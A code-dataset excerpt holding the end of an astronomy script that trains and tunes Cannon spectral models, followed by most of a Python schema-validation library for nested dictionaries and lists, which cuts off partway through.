np.array(self.train_spectra[y_indecies], dtype=np.float64)\n        y_ivar = np.array(self.train_ivar[y_indecies], dtype=np.float64)\n        # Remove 0th column that contains HIRES IDs\n        y_parameters = np.array(self.train_parameter.to_numpy()[y_indecies][:,1:], dtype=np.float64)\n\n        return X_id, X_spec, X_ivar, X_parameters, y_id, y_spec, y_ivar, y_parameters\n\n\n    def train_model(self,batch_size, poly_order, mask_name, test_set=False):\n        ''' Train a Cannon model using mini-batch and k-fold cv\n\n        Args: \n            batch_size (int) : number of batches to split the training set into for mini-batch training\n            poly_order (int) : A positive int, tells the model what degree polynomial to fit\n            mask_name (str) : name of the mask to use\n            test_set (bool) : If True, the model will be evaluated on the test set, instead of the validation set\n        \n        Returns: \n            (float) The mean evaluation score \n        '''\n        logging.info(f\"train_model(batch_size = {batch_size}, poly_order={poly_order}, mask_name={mask_name}, test_set={test_set})\")\n        \n        def mini_batch(cannon_model,batch_size,X_id, X_spec, X_ivar, X_param, y_id, y_spec, y_ivar):\n            ''' Train a Cannon model using mini-batch\n\n            Args: \n                cannon_model (TheCannon.model.CannonModel) - A Cannon model\n                batch_size (int) : number of batches to split the training set into for mini-batch training\n                X_id (np.array((M,))) - HIRES identifers that correspond to the rows in X_flux, X_ivar, and X_parameter\n                X_flux (np.array((M,N))) - flux for each star in X_id \n                X_ivar (np.array((M,N))) - ivar for each star in X_id \n                X_parameter (np.array((M,P))) - contains all the parameters for each star in X_id (in the exact same order)\n                y_id (np.array((V,))) - HIRES identifers that correspond to the rows in y_flux, y_ivar\n                y_flux (np.array((V,N))) - flux for each star in y_id \n                y_ivar (np.array((V,N))) - ivar for each star in y_id \n            \n            Returns: \n                (TheCannon.model.CannonModel) - A trained Cannon model\n\n            '''\n            # Create mini-batches of the data\n            num_batches = int(np.ceil(X_spec.shape[0] / batch_size))\n\n            break_out = False\n            for i in range(num_batches):\n                # Get the start and end indices of the current mini-batch\n                start = i * batch_size\n                end = min((i + 1) * batch_size, X_spec.shape[0])\n\n                # Number of training examples can't be smaller than 3  \n                # check the next batch if it is smaller than 3 than add it to the current batch\n                # Only do this if it is not the last batch\n                if (i == num_batches - 2):\n                    next_start = (i + 1) * batch_size\n                    next_end = min((i + 2) * batch_size, X_spec.shape[0])\n                    if (next_end - next_start) < 3:\n                        end = next_end\n                        break_out = True\n\n                # Initialize the dataset\n                ds = self.initailize_dataset(self.wl_solution,\n                                             X_id[start:end], X_spec[start:end], X_ivar[start:end], X_param[start:end], \n                                             y_id, y_spec, y_ivar, self.parameters_list)\n\n                # Fit the model on the current batch\n                try:\n                    cannon_model.fit(ds)\n                except:\n                    logging.error(f\"Error: cannon_model.fit(ds) failed on batch {i}\")\n                    return cannon_model\n\n                if break_out:\n                    break\n\n            return cannon_model\n\n        def apply_mask(X_spec, X_ivar, y_spec, y_ivar,mask):\n            ''' Mask the spectra and ivars\n\n            Args:  \n                X_spec (np.array((M,N))) - flux for each star in X_id\n                X_ivar (np.array((M,N))) - ivar for each star in X_id\n                y_spec (np.array((V,N))) - flux for each star in y_id\n                y_ivar (np.array((V,N))) - ivar for each star in y_id\n\n            Returns: \n                X_spec (np.array((M,N))) - mask applied flux for each star in X_id\n                X_ivar (np.array((M,N))) - mask applied ivar for each star in X_id\n                y_spec (np.array((V,N))) - mask applied flux for each star in y_id\n                y_ivar (np.array((V,N))) - mask applied ivar for each star in y_id\n            '''\n            # Create copies of the arrays to avoid changing the original arrays\n            Xspec, Xivar, yspec, yivar = X_spec.copy(), X_ivar.copy(), y_spec.copy(), y_ivar.copy()\n\n            # To do it without using a for-loop \n            Xspec[:,mask], Xivar[:,mask] = 0,0\n            yspec[:,mask], yivar[:,mask] = 0,0\n\n\n            return Xspec, Xivar,yspec, yivar\n\n        if not test_set:\n            # Store the evaluations\n            evaluation_list = []\n            # Initialize The Cannon model \n            \n            for X_i, y_i in self.kfold_train_validation_splits:\n\n                # Initialize new model\n                cannon_model = self.initialize_model(poly_order = poly_order)\n\n                # Split training and validation\n                X_id, X_spec, X_ivar, X_param, y_id, y_spec, y_ivar, y_param = self.split_data(X_i, y_i)\n                                                \n                # Mask the spectra and ivars\n                X_spec, X_ivar, y_spec, y_ivar = apply_mask(X_spec, X_ivar, y_spec, y_ivar, self.masks[mask_name])\n\n                # Train the model\n                cannon_model = mini_batch(cannon_model,batch_size,X_id, X_spec, X_ivar, X_param, y_id, y_spec, y_ivar)\n\n                ds = self.initailize_dataset(self.wl_solution,\n                                                X_id, X_spec, X_ivar, X_param, \n                                                y_id, y_spec, y_ivar, self.parameters_list)\n\n                # Evaluate model\n                evaluation_list.append(self.evaluate_model(cannon_model,ds,y_param))\n            \n            # Store the mean evaluation score into a file \n            score = np.mean(evaluation_list)\n            logging.info(f\"{batch_size},{poly_order},{score}\")\n            return score\n\n        else:\n            # Initialize new model\n            cannon_model = self.initialize_model(poly_order = poly_order)\n\n            X_id, X_spec, X_ivar = self.train_id, self.train_spectra, self.train_ivar, \n            y_id, y_spec, y_ivar = self.test_id, self.test_spectra, self.test_ivar, \n\n            # Mask the spectra and ivars\n            X_spec, X_ivar, y_spec, y_ivar = apply_mask(X_spec, X_ivar, y_spec, y_ivar, self.masks[mask_name])\n\n            # [:,1:] to remove the first column which is the abundance name \n            X_param = np.array(self.train_parameter.to_numpy()[:,1:], dtype=np.float64) \n            y_param = np.array(self.test_parameter.to_numpy()[:,1:], dtype=np.float) \n\n            # Train the model\n            cannon_model = mini_batch(cannon_model,batch_size,X_id, X_spec, X_ivar, X_param, y_id, y_spec, y_ivar)\n\n            ds = self.initailize_dataset(self.wl_solution,\n                                         X_id, X_spec, X_ivar, X_param, \n                                         y_id, y_spec,y_ivar, \n                                         self.parameters_list)\n            # Save test set \n            test_set_filepath = os.path.join(self.storage_path, \"y_param.joblib\")  \n            joblib.dump(y_param, test_set_filepath)\n            # Save ds \n            ds_filepath = os.path.join(self.storage_path, \"ds.joblib\")\n            joblib.dump(ds, ds_filepath)\n\n            # Evaluate model\n            # Store the mean evaluation score into a file \n            score = self.evaluate_model(cannon_model,ds,y_param, save = True)\n            logging.info(f\"Best model when trained on entire test set: {score}\")\n            return cannon_model\n                \n\n    @staticmethod\n    def initialize_model(poly_order = 1):\n        ''' Initialize The Cannon Model\n\n        Args: \n            poly_order (int) : A positive int, tells the model what degree polynomial to fit\n\n        Returns: \n            TheCannon.model.CannonModel object \n        '''\n        md = model.CannonModel( order = poly_order, useErrors=False )  \n        return md \n\n\n    @staticmethod\n    def initailize_dataset(wl_sol, X_id, X_flux, X_ivar, X_parameter, y_id, y_flux, y_ivar, parameters_names ):\n        ''' Put data into data structure The Cannon will train on.\n\n        Args: \n            wl_sol (np.array((N,))) - wavelength solution for all spectra\n            X_id (np.array((M,))) - HIRES identifers that correspond to the rows in X_flux, X_ivar, and X_parameter\n            X_flux (np.array((M,N))) - flux for each star in X_id \n            X_ivar (np.array((M,N))) - ivar for each star in X_id \n            X_parameter (np.array((M,P))) - contains all the parameters for each star in X_id (in the exact same order)\n            y_id (np.array((V,))) - HIRES identifers that correspond to the rows in y_flux, y_ivar\n            y_flux (np.array((V,N))) - flux for each star in y_id \n            y_ivar (np.array((V,N))) - ivar for each star in y_id \n            parameters_names (np.array((P,))) - column names of X_parameter and y_parameter\n              \n        Returns: \n            (TheCannon.dataset.Dataset) containing the data in the correct format for The Cannon \n        '''\n\n        ds = dataset.Dataset(wl_sol, X_id, X_flux, X_ivar, X_parameter, y_id, y_flux, y_ivar) \n        ds.set_label_names(parameters_names) \n        # wl ranges can be optimized for specific echelle ranges\n        ds.ranges= [[np.min(wl_sol),np.max(wl_sol)]]\n        return ds\n\n\n    def cannon_splits(self, parameters_df):\n        ''' Apply test and validation splits to the data. This must be ran after self.parameters_df is created.\n        \n        Args: \n            parameters_df (pd.DataFrame) : contains all the parameters for each star in X_id (in the exact same order)\n        '''\n        logging.debug(\"CHIP.cannon_splits( )\")\n\n        # Split the parameters into a training set, a test set, and a validation set\n        test_frac = self.config[\"Training\"][\"train test split\"][\"val\"]\n        self.train_parameter, self.test_parameter = train_test_split(parameters_df, test_size = test_frac, random_state= self.random_seed)\n\n        # Split the spectra and ivars \n        stars_in_test = [name for name in self.test_parameter[\"HIRESID\"]]\n        stars_in_train = [name for name in self.train_parameter[\"HIRESID\"]]\n\n        self.test_spectra = np.vstack([ self.spectraDic[name] for name in  stars_in_test ])\n        self.test_ivar = np.vstack([ self.ivarDic[name] for name in  stars_in_test ])\n        self.test_id = np.array([name for name in  stars_in_test if name in self.spectraDic])\n        self.train_spectra = np.vstack([ self.spectraDic[name] for name in  stars_in_train ])\n        self.train_ivar = np.vstack([ self.ivarDic[name] for name in  stars_in_train ])\n        self.train_id = np.array([name for name in  stars_in_train if name in self.spectraDic])\n\n        logging.info(\"train_id\" + str(self.train_id))\n        # No longer needed \n        del self.spectraDic\n        del self.ivarDic\n\n        # Create a KFold object for preforming k-fold cross validation  \n        num_folds = self.config[\"Training\"][\"kfolds\"][\"val\"]\n        kf = KFold(n_splits=num_folds, shuffle=True, random_state=self.random_seed)\n        # So repeated call doesn't need to be made to kf every time. \n        self.kfold_train_validation_splits = list(kf.split(self.train_id)) #np.vstack(kf.split(self.train_spectra))\n        logging.info(f\"{num_folds}-fold splits\" + str(self.kfold_train_validation_splits))\n\n\n    def hyperparameter_tuning(self):\n        ''' Tune the hyperparameters of The Cannon model. This must be ran after self.cannon_splits is ran.'''\n        logging.debug(\"CHIP.hyperparameter_tuning( )\")\n\n        # Get the hyperparameters to tune\n        # batch size is the number of spectra to train on at a time (list) \n        batch_size = self.config[\"Training\"][\"batch size\"][\"val\"]\n        # poly_order is the degree of the polynomial to fit (list)\n        poly_order = self.config[\"Training\"][\"poly order\"][\"val\"]\n\n        # Create a list of all the hyperparameters to tune\n        hyperparameters = [batch_size, poly_order, self.masks]\n\n        # Create a list of all the hyperparameter names\n        hyperparameter_names = [\"batch_size\", \"poly_order\",\"mask\"]\n        \n        # Create a list of all the hyperparameter combinations\n        hyperparameter_combinations = list(itertools.product(*hyperparameters))\n        logging.info(\"hyperparameter combinations\" + str(hyperparameter_combinations))\n\n        # Use joblib to parallelize the hyperparameter tuning\n        num_cores = self.config[\"Training\"][\"cores\"][\"val\"]\n        results = Parallel(n_jobs=num_cores)\\\n                          (delayed(self.train_model)\\\n                          (hyperparameter_combination[0],hyperparameter_combination[1],hyperparameter_combination[2]) for hyperparameter_combination in hyperparameter_combinations)\n       \n\n        # Log the results with the hyperparameters\n        for i, hyperparameter_combination in enumerate(hyperparameter_combinations):\n            logging.info(f\"{hyperparameter_names[0]}={hyperparameter_combination[0]}, {hyperparameter_names[1]}={hyperparameter_combination[1]}, {hyperparameter_names[2]}={hyperparameter_combination[2]}, result={results[i]}\")\n    \n\n        # Get the best hyperparameters\n        best_hyperparameters = hyperparameter_combinations[np.argmin(results)]\n        # Log the best hyperparameters\n        logging.info(f\"best hyperparameters: {hyperparameter_names[0]}={best_hyperparameters[0]}, {hyperparameter_names[1]}={best_hyperparameters[1]}, {hyperparameter_names[2]}={best_hyperparameters[2]}\") \n\n        # Train the model with the best hyperparameters\n        self.train_best_model(best_hyperparameters[0], best_hyperparameters[1], best_hyperparameters[2])\n\n\n    def train_best_model(self, batch_size, poly_order, mask_name):\n        ''' Train the best model with the best hyperparameters. This must be ran after self.hyperparameter_tuning is ran.\n\n        Args: \n            batch_size (int) the \n            poly_order (int)\n        '''\n        logging.debug(f\"CHIP.train_best_model( batch_size={batch_size}, poly_order={poly_order}, mask_name={mask_name})\")\n\n        # Train the model with the best hyperparameters\n        cannon_model = self.train_model(batch_size, poly_order, mask_name, test_set=True)\n\n        # Save the model\n        self.save_model(cannon_model)\n\n\n    def save_model(self,cannon_model):\n        '''\n        Save the model to a file\n        '''\n        logging.debug(\"CHIP.save_model( )\")\n\n        model_filepath = os.path.join(self.storage_path, \"best_model.joblib\")\n\n        joblib.dump(cannon_model, model_filepath)\n\n        # Save the scaler\n        transformer_filepath = os.path.join(self.storage_path, \"standard_scaler.joblib\")\n        joblib.dump(self.parameters_scaler, transformer_filepath)\n\n        # Save the parameters names\n        parameters_filepath = os.path.join(self.storage_path, \"parameters_names.joblib\")\n        joblib.dump(self.parameters_list, parameters_filepath)\n\n\n\n\nif __name__ == \"__main__\":\n\n    log_filepath = 'data/CHIP.log'\n    logging.basicConfig(filename= log_filepath,\n                        format='%(asctime)s - %(message)s', \n                        datefmt=\"%Y/%m/%d %H:%M:%S\",  \n                        level=logging.INFO)\n\n    # logs to file and stdout\n    logging.getLogger().addHandler(logging.StreamHandler())\n    # set datefmt to GMT\n    logging.Formatter.converter = time.gmtime\n\n    chip = CHIP(config_file_path=\"config/config.json\")\n    chip.run()\n\n    # Move logging file to the location of this current run\n    log_filename = os.path.basename(log_filepath)\n    # Shutdown logging so the file can be put in the storage location\n    logging.shutdown()\n\n    os.rename( log_filepath, \n                os.path.join( chip.storage_path, log_filename) )","repo_name":"jgussman/CHIP","sub_path":"src/CHIP.py","file_name":"CHIP.py","file_ext":"py","file_size_in_byte":51851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18947322339","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module allows validation of dictionaries or lists that contain unstructured data.\nWhile using python objects is the right approach to have structured data, many apps\nnevertheless use dictionaries or lists of various data and are stuck with it, specifically\nfor saving configuration etc.\n\"\"\"\nimport re\nimport os\nimport jinja2\n\n# Import all the types from six to support both PY2 and PY3\nfrom six import integer_types\nfrom six import string_types\nfrom six import text_type\nfrom six import binary_type\nfrom six import iteritems\n\n# TODO: Move all the strings to one place\ntype_mismatch = 'Expecting value to be {type} but got {actual_type} for {level}'\ninvalid_boolean = 'Invalid Value for boolean field'\n\ndefault_template_dir = os.path.join(os.path.dirname(__file__), \"doc_templates\")\n\ndef get_bool(val):\n    \"\"\"\n    Convert various True/False values to true boolean values\n\n    :param val: Boolean like value\n    :return:\n    \"\"\"\n    if val in (0, 'false', 'False', False):\n        return False\n    elif val in (1, 'true', 'True', True):\n        return True\n    else:\n        raise ValueError(invalid_boolean)\n\n\nclass Schema(object):\n    \"\"\" Basic class through which data validation can be done.\n    Create a schema object by providing schema dictionary as argument.  Once the schema\n    is created call realize() to get the normalized schema, and validate to the validate\n    a document against the schema.\n    >>> s = Schema({'type':'string', 'display_name':'Root'})\n    >>> s.validate('xyz')\n    []\n    >>> s.validate(10)\n    [\"Expecting value to be (<type 'str'>, <type 'unicode'>) but got <type 'int'> for root(Root)\"]\n    >>> s.realize()\n    {'type': 'string', 'allow_none': False, 'display_name': 'Root', 'description': ''}\n    \"\"\"\n    def __init__(self, schema_dict):\n        self.root = SchemaNode.create_schema_node('root', schema_dict)\n\n    def validate(self, data):\n        return self.root.validate(data)\n\n    def realize(self):\n        realized_schema = {}\n        self.root.realize_schema(realized_schema)\n        return realized_schema\n    \n    def document(self, template_directory=None):\n        self.realize()\n        \n        if template_directory:\n            search_path = [template_directory, default_template_dir]\n        else:\n            search_path = [default_template_dir]\n        jinja_env = jinja2.Environment(\n            loader=jinja2.FileSystemLoader(search_path), \n            autoescape=True\n        )\n        jinja_env.filters['strip_disp_name'] = lambda x: x.split('(')[0]\n        \n        template =  jinja_env.get_template(\"overall2.html\")\n        return template.render(root = self.root)\n    \nclass SchemaNode(object):\n    allowed_expansions = {\n        ('known_children', dict),\n        ('sub_schema', dict),\n        ('minimum_value', int),\n        ('maximum_value', float),\n        ('allowed_values', (list, set, tuple))\n    }\n    expected_types = None\n    type = None\n\n    def __init__(self, level, schema_dict):\n        self.level = level\n        self._level = level\n        try:\n            self.display_name = schema_dict.pop('display_name')\n            self.description = schema_dict.pop('description', None)\n        except:\n            raise SchemaError('display_name is mandatory at level %s' % self.level)\n        self.level += '(%s)' % self.display_name\n        self.realized = False\n        self.verbatim = schema_dict.pop('verbatim', None)\n        self.allow_none = schema_dict.pop('allow_none', False)\n        self.custom_validation = schema_dict.pop('custom_validation', None)\n\n    def process_children(self):\n        raise SchemaError('CODE ERROR: Each child node must implement this method')\n\n    def _execute_if_necessary(self, code_like, expected_type):\n        if isinstance(code_like, (expected_type, SchemaNode)):\n            ret_value = code_like\n            executed = False\n        else:\n            executed = True\n            if callable(code_like):\n                ret_value = code_like()\n            elif isinstance(code_like, basestring):\n                try:\n                    ret_value = eval(code_like)\n                except:\n                    raise SchemaError(\"Guessed the value of (%s) at %s to be code, but evaluation failed\" % (code_like, self.level))\n            else:\n                raise SchemaError(\"Don't known how to execute dynamic schema at %s (expected type = %s, actual type =%s)\" % (self.level,expected_type, type(code_like)))\n\n            if not isinstance(ret_value, expected_type):\n                schema_type_mismatch = \"Dynamic schema generated %s doesn't match the expected type %s at %s\"\n                raise SchemaError( schema_type_mismatch % (type(ret_value), expected_type, self.level))\n\n        return ret_value, executed\n\n    def _realize_node(self):\n        for key_name, expected_type in self.allowed_expansions:\n            obj = getattr(self, key_name, None)\n            if obj:\n                try:\n                    obj, executed = self._execute_if_necessary(obj, expected_type)\n                    if executed:\n                        setattr(self, key_name, obj)\n                except SchemaError:\n                    raise\n                #except Exception as ex:\n                    #raise ex\n                    # raise SchemaError(\"Error (%s) when realizing dynamic schema for %s at %s\" % (str(ex), key_name, self.level))\n\n        self.realized = True\n\n    def realize_schema(self, attrs):\n        if not self.realized:\n            self._realize_node()\n\n        attrs['display_name'] = self.display_name\n        if self.description is not None:\n            attrs['description'] = self.description\n        attrs['type'] = self.type\n        attrs['allow_none'] = self.allow_none\n        if self.verbatim is not None:\n            attrs['verbatim'] = self.verbatim\n        if self.custom_validation:\n            attrs['custom_validation'] = {}\n            attrs['custom_validation']['enabled'] = True\n            attrs['custom_validation']['info'] = self.custom_validation.__doc__\n\n    def validate(self, data):\n        \"\"\"\n        Validate the data and return the violations found\n\n        :param data:\n        :return: List of violations.  Each violation is basically a string, and it is unstructured.\n        \"\"\"\n        # Realize if necessary\n        if not self.realized:\n            self._realize_node()\n\n        if data is None:\n            if self.allow_none:\n                return [ ]\n            else:\n                return [\n                    \"Null is not allowed at level %s\" % self.level\n                ]\n\n        # Perform common validation\n        if not isinstance(data, self.expected_types):\n            return [\n                type_mismatch.format(type=str(self.expected_types),\n                                     actual_type = str(type(data)),\n                                     level=self.level)\n            ]\n\n        # Perform node specific validation\n        schema_errors =  self.validate_data(data)\n        if self.custom_validation:\n            schema_errors.extend(\"%s: %s at %s\" % (self.custom_validation.__name__, x, self.level) for x in self.custom_validation(data))\n\n        return schema_errors\n    \n    def get_target(self):\n        return self.level.split('(')[0].replace('.','_')\n    \n    def validate_data(self, data):\n        raise SchemaError('CODE ERROR: Each child node must implement this method')\n    \n    # methods related to documentation\n    def get_short_decoration(self):\n        return \"\"\n    \n    def should_doc_children(self):\n        return False\n    \n    def doc_child_list(self):\n        return [ ] \n    \n    def get_doc_tags(self):\n        return {}\n    \n    @staticmethod\n    def create_schema_node(level, schema_dict):\n        # Get the type of the node and create the object\n        schema_dict = schema_dict.copy()\n        node_type = schema_dict.pop('type', 'map')\n        if node_type == 'map':\n            schema_node = MapNode(level, schema_dict)\n        elif node_type == 'string':\n            schema_node = StringNode(level, schema_dict)\n        elif node_type == 'number':\n            schema_node = NumberNode(level, schema_dict)\n        elif node_type == 'list':\n            schema_node = ListNode(level, schema_dict)\n        elif node_type == 'boolean':\n            schema_node = BooleanNode(level, schema_dict)\n        elif node_type == 'any':\n            schema_node = AnyNode(level, schema_dict)\n        else:\n            raise SchemaError('Unknown type at level %s' % level)\n\n        # We must have consumed every key in the dictionary\n        if len(schema_dict) > 0:\n            raise SchemaError('Invalid entries (%s) in schema at level %s for type %s' %\n                                                (','.join(schema_dict.keys()), level, node_type))\n        # Return the schema node\n        return schema_node\n\n\nclass AnyNode(SchemaNode):\n    expected_types = (string_types, text_type, list, dict, set, tuple, integer_types, float)\n\n    def validate_data(self, data):\n        return [ ]\n    \n    def get_short_decoration(self):\n        return \"*\"\n    \n    def get_doc_tags(self):\n        return {\n            \"WARNING\": \"Values set at this level are not validated. Exercise caution.\"\n        }\n\n\nclass StringNode(SchemaNode):\n    expected_types = (string_types, text_type)\n    type = 'string'\n\n    def __init__(self, level, schema_dict):\n        super(StringNode, self).__init__(level, schema_dict)\n        self.allowed_values = schema_dict.pop('allowed_values', [])\n        pattern = schema_dict.pop('allowed_pattern', None)\n        self.valid_pattern = re.compile(pattern) if pattern else None\n\n    def realize_schema(self, attrs):\n        super(StringNode, self).realize_schema(attrs)\n        if self.allowed_values:\n            attrs['allowed_values'] = self.allowed_values\n        if self.valid_pattern:\n            attrs['allowed_pattern'] = self.valid_pattern\n            \n    def get_short_decoration(self):\n        return \"a\"\n    \n    def get_doc_tags(self):\n        tags = {}\n        if self.allowed_values: \n            tags['Allowed Values'] = \", \".join(self.allowed_values)\n        if self.valid_pattern:\n            tags['Allowed Pattern'] = self.valid_pattern\n        return tags\n\n    def validate_data(self, data):\n        # Check for valid values\n        if self.allowed_values and data not in self.allowed_values:\n            invalid_value = '%s is not a allowed value for %s. Expect it to be one of: %s'\n            return [ invalid_value % (data, self.level, \",\".join(self.allowed_values)) ]\n\n        if self.valid_pattern and not self.valid_pattern.match(data):\n            return [ \"%s does't match expression %s at %s\" % (data, self.valid_pattern.pattern, self.level)]\n\n        return [ ]\n\n\nclass SubSchemaNode(SchemaNode):\n    subschema_denote = '.n'\n    def __init__(self, level, schema_dict):\n        super(SubSchemaNode, self).__init__(level, schema_dict)\n        self._subschema_realized = False\n        self._sub_schema = None\n        self.sub_schema = schema_dict.pop('value_schema', None)\n\n    def realize_schema(self, attrs):\n        super(SubSchemaNode, self).realize_schema(attrs)\n        if self.sub_schema:\n            attrs['value_schema'] = { }\n            self.sub_schema.realize_schema(attrs['value_schema'])\n\n    def get_sub_schema(self):\n        return self._sub_schema\n\n    def set_sub_schema(self, obj):\n        if isinstance(obj, dict):\n            if self._subschema_realized:\n                raise SchemaError('Subschema already realized')\n\n            try:\n                self.sub_schema = SchemaNode.create_schema_node(self._level+self.subschema_denote, obj)\n            except KeyError:\n                raise SchemaError('List type node requires a value_schema at %s' % self.level)\n\n            self._subschema_realized = True\n        else:\n            self._sub_schema = obj\n\n    sub_schema = property(get_sub_schema, set_sub_schema)\n\n\nclass ListNode(SubSchemaNode):\n    expected_types = (list, set, tuple)\n    type = 'list'\n    subschema_denote = \"[i]\"\n\n    def __init__(self, level, schema_dict):\n        super(ListNode, self).__init__(level, schema_dict)\n        self.min_size = schema_dict.pop('minimum_size', None)\n        self.max_size = schema_dict.pop('maximum_size', None)\n\n        unique = schema_dict.pop('unique', None)\n        if unique is not None:\n            self.unique = get_bool(unique)\n        else:\n            self.unique = None\n\n        if self.min_size and self.max_size and self.min_size > self.max_size:\n            raise SchemaError('minimum_size can not be greater than maximum_size at %s' % self.level)\n\n        if not self.sub_schema:\n            raise SchemaError('value_schema is mandatory for list type')\n        \n    def get_doc_tags(self):\n        return {\n            'values': 'Must be unique' if self.unique else 'May have duplicates',\n            'minimum size': self.min_size,\n            'maximum size': self.max_size\n        }\n\n    def realize_schema(self, attrs):\n        super(ListNode, self).realize_schema(attrs)\n        if self.min_size is not None:\n            attrs['minimum_size'] = self.min_size\n        if self.max_size is not None:\n            attrs['maximum_size'] = self.max_size\n        if self.unique is not None:\n            attrs['unique'] = self.unique\n            \n    def should_doc_children(self):\n        return True\n            \n    def get_short_decoration(self):\n        #return r'&#x2630;'\n        return '[ ]'\n    \n    def doc_child_list(self):\n        return [ ('N/A', self.sub_schema) ] \n\n    def validate_data(self, data):\n        schema_errors = []\n\n        if self.min_size and len(data) < self.min_size:\n            schema_errors.append('Minimum size is set to %s, but actual size is %s at level %s' % (self.min_size, len(data), self.level))\n\n        if self.max_size and len(data) < self.min_size:\n            schema_errors.append('Maximum size is set to %s, but actual size is %s at level %s' % (self.max_size, len(data), self.level))\n\n        for i, each_value in enumerate(data):\n            schema_errors.extend(self.sub_schema.validate(each_value))\n\n        if self.unique:\n            dups = set()\n            found = set()\n            for x in data:\n                if x in found:\n                    dups.add(x)\n                else:\n                    found.add(x)\n            if dups:\n                schema_errors.append('Duplicate(s) %s found for a unique list at %s' % ( \",\".join(str(a) for a in dups), self.level))\n\n        return schema_errors\n\n\nclass NumberNode(SchemaNode):\n    \"\"\" Defines a schema node for numeric data. At present limited to integers only\n    \"\"\"\n    expected_types = integer_types\n    type = 'number'\n\n    def __init__(self, level, schema_dict):\n        super(NumberNode, self).__init__(level, schema_dict)\n        self.min_value = schema_dict.pop('minimum_value', None)\n        self.max_value = schema_dict.pop('maximum_value', None)\n\n        if self.min_value and self.max_value and self.min_value > self.max_value:\n            raise SchemaError(\"Min and Max values in the schema are incorrect at %s\" % self.level)\n\n    def realize_schema(self, attrs):\n        super(NumberNode, self).realize_schema(attrs)\n        if self.min_value:\n            attrs['minimum_value'] = self.min_value\n        if self.max_value:\n            attrs['maximum_value'] = self.max_value\n            \n    def get_doc_tags(self):\n        tags = {}\n        if self.min_value:\n            tags['Minimum Value'] = self.min_value\n        if self.max_value:\n            tags['Maximum Value'] = self.max_value\n        return tags\n    \n    def get_short_decoration(self):\n        return \"1\"\n\n    def validate_data(self, data):\n        if self.min_value and data < self.min_value:\n            return [ \"Value %s is smaller than %s at %s\" % (data, self.min_value, self.level)]\n\n        if self.max_value and data > self.max_value:\n            return [ \"Value %s is greater than %s at %s\" % (data, self.max_value, self.level)]\n\n        return [ ]\n\n\nclass BooleanNode(SchemaNode):\n    \"\"\" Defines a schema node for boolean data\n    \"\"\"\n    expected_types = bool\n    type = 'boolean'\n\n    def __init__(self, level, schema_dict):\n        super(BooleanNode, self).__init__(level, schema_dict)\n        self.true_value = schema_dict.pop('true_value', 'True')\n        self.false_value = schema_dict.pop('false_value', 'False')\n\n    def realize_schema(self, attrs):\n        super(BooleanNode, self).realize_schema(attrs)\n        attrs['true_value'] = self.true_value\n        attrs['false_value'] = self.false_value\n        \n    def get_short_decoration(self):\n        return r'&#x2713;'\n    \n    def get_doc_tags(self):\n        return {\n            'True Value': self.true_value,\n            'False Value': self.false_value\n        }\n\n    def validate_data(self, data):\n        \"\"\"\n        No additional validations necessary for boolean data\n\n        :param data: data\n        :return:\n        \"\"\"\n        return [ ]\n\n\nclass MapNode(SubSchemaNode):\n    \"\"\" Defines a schema node for the dictionary data.\n    \"\"\"\n    expected_types = dict\n    type = 'map'\n    subschema_denote = \".<name>\"\n\n    def __init__(self, level, schema_dict):\n        super(MapNode, self).__init__(level, schema_dict)\n\n        # Create schema nodes for all known children and make sure there is default schema if\n        # a name defines no specific schema\n        self._preset = False\n        self.known_children = schema_dict.pop('known_children', {})\n        self.allow_list = schema_dict.pop('allow_list', False)\n        \n        if self.allow_list:\n            self.expected_types = (dict, list)\n\n        # Check for allow unknown values\n        try:\n            self.allow_unknown_children = get_bool(schema_dict.pop('allow_unknown_children', False))\n            if self.allow_unknown_children and self.sub_schema is None:\n                raise SchemaError('Unknown children is true without value schema at %s' % level)\n        except ValueError:\n            raise SchemaError('Unknown boolean value for allow_unknown_children at %s' % level)\n\n        # Get other attributes\n        self.mandatory_names = set(schema_dict.pop('mandatory_children', []))\n        \n    def get_doc_tags(self):\n        additional_children = [x[0] for x in iteritems(self.known_children) if x[1] == None]\n        tags = {\n            'Unknown children': 'Allowed' if self.allow_unknown_children else 'Not Allowed',\n            'Can be a list': 'Yes' if self.allow_list else 'No' \n        }\n        if additional_children:\n            tags['Additinal Children'] = \", \".join(additional_children)\n        if self.mandatory_names:\n            tags['Must Provide'] = \",\".join(self.mandatory_names)\n        return tags\n\n    def realize_schema(self, attrs):\n        super(MapNode, self).realize_schema(attrs)\n\n        attrs['known_children'] = {}\n        for k, v in iteritems(self.known_children):\n            attrs['known_children'][k] = {}\n            if v:\n                v.realize_schema(attrs['known_children'][k])\n\n        attrs['mandatory_children'] = list(self.mandatory_names)\n\n    def get_short_decoration(self):\n        return \"{ }\"\n    \n    def should_doc_children(self):\n        return True\n    \n    def doc_child_list(self):\n        if self.sub_schema:\n            yield ('<Name>', self.sub_schema)\n        for k,v in iteritems(self.known_children):\n            if v:\n                yield k, v\n\n    def validate_data(self, data):\n        schema_errors = []\n        \n        def do_validate(data):\n            names_found = set()\n            # Go to the next level of validation\n            for each_key in data:\n    \n                if each_key not in self.known_children and self.allow_unknown_children == False:\n                    schema_errors.append('%s is not allowed at level %s' % (each_key, self.level))\n    \n                sub_schema = self.known_children.get(each_key) or self.sub_schema\n                if not sub_schema:\n                    schema_errors.append(\"No sub-schema found for %s at %s\" % (each_key, self.level))\n                else:\n                    schema_errors.extend(sub_schema.validate(data[each_key]))\n    \n                names_found.add(each_key)\n    \n            remaining_names = self.mandatory_names - names_found\n            if remaining_names:\n                schema_errors.append(\"Values are required for %s at %s\" % (\",\".join(remaining_names), self.level))\n        \n        if self.allow_list:\n            if isinstance(data, list):\n                level_save = self.level\n                for i,x in enumerate(data):\n                    self.level = level_save + str(i)\n                    do_validate(x)\n            else:\n                do_validate(data)\n        else:\n            do_validate(data)\n\n        return schema_errors\n\n    def set_known_children(self, child_object):\n        if isinstance(child_object, dict):\n            if (self._preset):\n                raise SchemaError('CODE ERROR: Setting children twice')\n            self._preset = True\n            self._known_children = {}\n            for k,v in iteritems(child_object):\n                if v:\n                    self._known_children[k] = SchemaNode.create_schema_node(self._level+'.'+k, v)\n                else:\n                    self._known_children[k] = None\n                    if self.sub_schema is None:\n                        raise SchemaError('Name %s defines no schema and there is no value schema at %s' % (k, self._level))\n        else:\n            self._preset = False\n            self._known_children = child_object\n\n    def get_known_children(self):\n        return self._known_children\n\n    known_children = property(get_known_children, set_known_children)\n\n\nclass SchemaError(Exception):\n    \"\"\" This is a marker to know SchemaErrors from other 